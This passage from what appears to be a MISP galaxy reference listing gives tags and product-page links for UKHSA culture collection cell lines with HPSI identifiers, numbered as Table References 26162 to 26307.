https://www.culturecollections.org.uk/nop/product/hpsi0916i-helh_1

HPSI0916i-jejm_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0916i-jejm_4"*

Table 26162. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0916i-jejm_4

HPSI0115i-boqx_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-boqx_2"*

Table 26163. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-boqx_2

HPSI0616i-duve_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-duve_6"*

Table 26164. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-duve_6

HPSI0916i-helh_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0916i-helh_6"*

Table 26165. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0916i-helh_6

HPSI0916i-hikt_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0916i-hikt_2"*

Table 26166. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0916i-hikt_2

HPSI0516i-peoo_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-peoo_1"*

Table 26167. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-peoo_1

HPSI0516i-dewa_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-dewa_2"*

Table 26168. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-dewa_2

HPSI0616i-iuse_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-iuse_6"*

Table 26169. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-iuse_6

HPSI0115i-iuad_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-iuad_2"*

Table 26170. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-iuad_2

HPSI1116i-aimh_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-aimh_5"*

Table 26171. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-aimh_5

HPSI0616i-heba_11

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-heba_11"*

Table 26172. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-heba_11

HPSI0316i-ponl_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-ponl_2"*

Table 26173. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-ponl_2

HPSI0816i-aorf_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-aorf_2"*

Table 26174. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-aorf_2

HPSI0616i-heba_9

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-heba_9"*

Table 26175. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-heba_9

HPSI0516i-peoo_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-peoo_2"*

Table 26176. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-peoo_2

HPSI0616i-iuse_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-iuse_5"*

Table 26177. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-iuse_5

HPSI0614i-juzt_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-juzt_4"*

Table 26178. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-juzt_4

HPSI0816i-aorf_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-aorf_1"*

Table 26179. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-aorf_1

HPSI1116i-mebq_7

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-mebq_7"*

Table 26180. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-mebq_7

HPSI0616i-kalo_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-kalo_6"*

Table 26181. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-kalo_6

HPSI0115i-jotn_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-jotn_4"*

Table 26182. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-jotn_4

HPSI1116i-wiau_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-wiau_4"*

Table 26183. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-wiau_4

HPSI0916i-moyn_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0916i-moyn_1"*

Table 26184. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0916i-moyn_1

HPSI0516i-kumr_11

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-kumr_11"*

Table 26185. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-kumr_11

HPSI0416i-ioys_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-ioys_6"*

Table 26186. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-ioys_6

HPSI1116i-zies_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-zies_6"*

Table 26187. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-zies_6

HPSI0614i-xubw_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-xubw_1"*

Table 26188. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-xubw_1

HPSI0916i-vajy_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0916i-vajy_4"*

Table 26189. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0916i-vajy_4

HPSI0616i-baxr_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-baxr_6"*

Table 26190. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-baxr_6

HPSI0616i-newl_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-newl_6"*

Table 26191. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-newl_6

HPSI0816i-oemk_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-oemk_6"*

Table 26192. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-oemk_6

HPSI1116i-zies_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-zies_2"*

Table 26193. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-zies_2

HPSI0115i-tiku_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-tiku_3"*

Table 26194. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-tiku_3

HPSI1116i-wakr_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-wakr_6"*

Table 26195. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-wakr_6

HPSI1116i-eiyy_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-eiyy_1"*

Table 26196. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-eiyy_1

HPSI0115i-jotn_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-jotn_2"*

Table 26197. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-jotn_2

HPSI0316i-pecz_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-pecz_2"*

Table 26198. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-pecz_2

HPSI1116i-vozo_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-vozo_2"*

Table 26199. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-vozo_2

HPSI0916i-vajy_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0916i-vajy_5"*

Table 26200. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0916i-vajy_5

HPSI1116i-wiau_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-wiau_1"*

Table 26201. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-wiau_1

HPSI0616i-baxr_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-baxr_5"*

Table 26202. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-baxr_5

HPSI0416i-ioys_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-ioys_5"*

Table 26203. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-ioys_5

HPSI1116i-vozo_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-vozo_3"*

Table 26204. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-vozo_3

HPSI0316i-zuik_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-zuik_6"*

Table 26205. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-zuik_6

HPSI0614i-xubw_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-xubw_3"*

Table 26206. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-xubw_3

HPSI0616i-euia_7

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-euia_7"*

Table 26207. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-euia_7

HPSI0816i-fuuy_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-fuuy_3"*

Table 26208. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-fuuy_3

HPSI1116i-mebq_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-mebq_1"*

Table 26209. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-mebq_1

HPSI0916i-moyn_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0916i-moyn_4"*

Table 26210. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0916i-moyn_4

HPSI0115i-tiku_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-tiku_1"*

Table 26211. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-tiku_1

HPSI1116i-wakr_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-wakr_3"*

Table 26212. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-wakr_3

HPSI0916i-zipi_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0916i-zipi_5"*

Table 26213. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0916i-zipi_5

HPSI0115i-kozf_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-kozf_1"*

Table 26214. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-kozf_1

HPSI1114i-zuuy_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1114i-zuuy_4"*

Table 26215. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1114i-zuuy_4

HPSI0115i-uupc_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-uupc_2"*

Table 26216. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-uupc_2

HPSI0514i-suul_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-suul_1"*

Table 26217. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-suul_1

HPSI0916i-vorn_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0916i-vorn_2"*

Table 26218. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0916i-vorn_2

HPSI1114i-xiby_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1114i-xiby_5"*

Table 26219. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1114i-xiby_5

HPSI0713i-kaks_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-kaks_2"*

Table 26220. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-kaks_2

HPSI0514i-xufp_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-xufp_1"*

Table 26221. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-xufp_1

HPSI0516i-aaun_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-aaun_6"*

Table 26222. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-aaun_6

HPSI1114i-zuuy_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1114i-zuuy_5"*

Table 26223. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1114i-zuuy_5

HPSI0616i-uofs_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-uofs_2"*

Table 26224. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-uofs_2

HPSI0115i-sehp_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-sehp_2"*

Table 26225. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-sehp_2

HPSI0714i-oatm_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-oatm_1"*

Table 26226. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-oatm_1

HPSI0616i-mifg_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-mifg_5"*

Table 26227. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-mifg_5

HPSI0916i-zipi_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0916i-zipi_1"*

Table 26228. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0916i-zipi_1

HPSI0514i-suul_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-suul_2"*

Table 26229. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-suul_2

HPSI0714i-oatm_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-oatm_2"*

Table 26230. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-oatm_2

HPSI0115i-timk_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-timk_4"*

Table 26231. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-timk_4

HPSI0516i-menz_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-menz_3"*

Table 26232. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-menz_3

HPSI0316i-vats_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-vats_2"*

Table 26233. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-vats_2

HPSI0816i-neow_7

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-neow_7"*

Table 26234. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-neow_7

HPSI0416i-mapx_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-mapx_5"*

Table 26235. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-mapx_5

HPSI0614i-uevq_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-uevq_4"*

Table 26236. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-uevq_4

HPSI0215i-uiao_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0215i-uiao_1"*

Table 26237. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0215i-uiao_1

HPSI0914i-yuvg_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-yuvg_2"*

Table 26238. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-yuvg_2

HPSI0516i-yist_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-yist_3"*

Table 26239. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-yist_3

HPSI0916i-vorn_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0916i-vorn_5"*

Table 26240. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0916i-vorn_5

HPSI0616i-uofs_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-uofs_5"*

Table 26241. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-uofs_5

HPSI0516i-menz_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-menz_4"*

Table 26242. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-menz_4

HPSI0616i-uegn_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-uegn_3"*

Table 26243. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-uegn_3

HPSI0616i-rily_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-rily_3"*

Table 26244. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-rily_3

HPSI1116i-rafd_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-rafd_4"*

Table 26245. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-rafd_4

HPSI0215i-uiao_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0215i-uiao_2"*

Table 26246. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0215i-uiao_2

HPSI0115i-kozf_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-kozf_2"*

Table 26247. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-kozf_2

HPSI0816i-neow_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0816i-neow_5"*

Table 26248. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0816i-neow_5

HPSI1114i-xiby_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1114i-xiby_4"*

Table 26249. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1114i-xiby_4

HPSI1116i-naum_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1116i-naum_5"*

Table 26250. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1116i-naum_5

HPSI0613i-oomz_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-oomz_2"*

Table 26251. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-oomz_2

HPSI0914i-jejf_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-jejf_3"*

Table 26252. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-jejf_3

HPSI0216i-iogu_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0216i-iogu_6"*

Table 26253. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0216i-iogu_6

HPSI0516i-eitu_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-eitu_4"*

Table 26254. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-eitu_4

HPSI0616i-oajt_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-oajt_3"*

Table 26255. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-oajt_3

HPSI0716i-yipp_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0716i-yipp_6"*

Table 26256. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0716i-yipp_6

HPSI0316i-qeti_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-qeti_2"*

Table 26257. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-qeti_2

HPSI0716i-yibs_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0716i-yibs_3"*

Table 26258. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0716i-yibs_3

HPSI0616i-bury_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-bury_5"*

Table 26259. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-bury_5

HPSI0616i-kayf_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-kayf_5"*

Table 26260. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-kayf_5

HPSI0716i-yipp_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0716i-yipp_2"*

Table 26261. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0716i-yipp_2

HPSI0216i-heub_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0216i-heub_1"*

Table 26262. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0216i-heub_1

HPSI0616i-xuvy_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-xuvy_6"*

Table 26263. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-xuvy_6

HPSI0514i-yewo_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-yewo_4"*

Table 26264. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-yewo_4

HPSI0216i-heub_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0216i-heub_6"*

Table 26265. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0216i-heub_6

HPSI0813i-mioj_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-mioj_4"*

Table 26266. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-mioj_4

HPSI0713i-aehn_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-aehn_2"*

Table 26267. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-aehn_2

HPSI0316i-eoko_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-eoko_3"*

Table 26268. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-eoko_3

HPSI0416i-xutl_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0416i-xutl_2"*

Table 26269. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0416i-xutl_2

HPSI0616i-biln_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-biln_2"*

Table 26270. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-biln_2

HPSI0316i-circ_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-circ_2"*

Table 26271. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-circ_2

HPSI0115i-rakq_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-rakq_3"*

Table 26272. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-rakq_3

HPSI0616i-oajt_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-oajt_6"*

Table 26273. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-oajt_6

HPSI0716i-bakv_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0716i-bakv_6"*

Table 26274. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0716i-bakv_6

HPSI0516i-yibc_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-yibc_4"*

Table 26275. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-yibc_4

HPSI0115i-aion_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-aion_2"*

Table 26276. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-aion_2

HPSI0716i-toba_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0716i-toba_1"*

Table 26277. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0716i-toba_1

HPSI0516i-iuoc_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0516i-iuoc_5"*

Table 26278. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0516i-iuoc_5

HPSI0616i-beyk_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0616i-beyk_6"*

Table 26279. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0616i-beyk_6

HPSI0316i-eoko_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-eoko_5"*

Table 26280. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-eoko_5

HPSI0316i-miov_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0316i-miov_1"*

Table 26281. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0316i-miov_1

HPSI0115i-rakq_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-rakq_1"*

Table 26282. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-rakq_1

HPSI0716i-yibs_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0716i-yibs_1"*

Table 26283. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0716i-yibs_1

HPSI0213i-koun_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0213i-koun_2"*

Table 26284. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0213i-koun_2

HPSI0914i-jejf_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-jejf_2"*

Table 26285. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-jejf_2

HPSI0414i-ceik_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-ceik_1"*

Table 26286. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-ceik_1

HPSI0715i-zaie_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0715i-zaie_5"*

Table 26287. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0715i-zaie_5

HPSI0814i-doao_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0814i-doao_1"*

Table 26288. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0814i-doao_1

HPSI0514i-wiii_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-wiii_2"*

Table 26289. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-wiii_2

HPSI0514i-qihv_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-qihv_1"*

Table 26290. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-qihv_1

HPSI0514i-wiii_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-wiii_3"*

Table 26291. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-wiii_3

HPSI1013i-hiaf_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-hiaf_1"*

Table 26292. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-hiaf_1

HPSI0814i-bokz_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0814i-bokz_6"*

Table 26293. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0814i-bokz_6

HPSI0714i-jilk_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-jilk_4"*

Table 26294. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-jilk_4

HPSI0914i-gine_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0914i-gine_2"*

Table 26295. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0914i-gine_2

HPSI0115i-uolo_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0115i-uolo_5"*

Table 26296. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0115i-uolo_5

HPSI0614i-oicx_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-oicx_2"*

Table 26297. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-oicx_2

HPSI0614i-uilk_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0614i-uilk_3"*

Table 26298. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0614i-uilk_3

HPSI1114i-ziyn_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1114i-ziyn_6"*

Table 26299. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1114i-ziyn_6

HPSI0215i-deyz_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0215i-deyz_2"*

Table 26300. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0215i-deyz_2

HPSI0514i-lako_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-lako_1"*

Table 26301. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-lako_1

HPSI0414i-sebn_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-sebn_4"*

Table 26302. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-sebn_4

HPSI0514i-kuco_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-kuco_1"*

Table 26303. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-kuco_1

HPSI0414i-sebn_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-sebn_3"*

Table 26304. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-sebn_3

HPSI0714i-jilk_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-jilk_3"*

Table 26305. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-jilk_3

HPSI1014i-tuju_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-tuju_1"*

Table 26306. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-tuju_1

HPSI0514i-lako_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-lako_2"*

Table 26307. Table References

Links
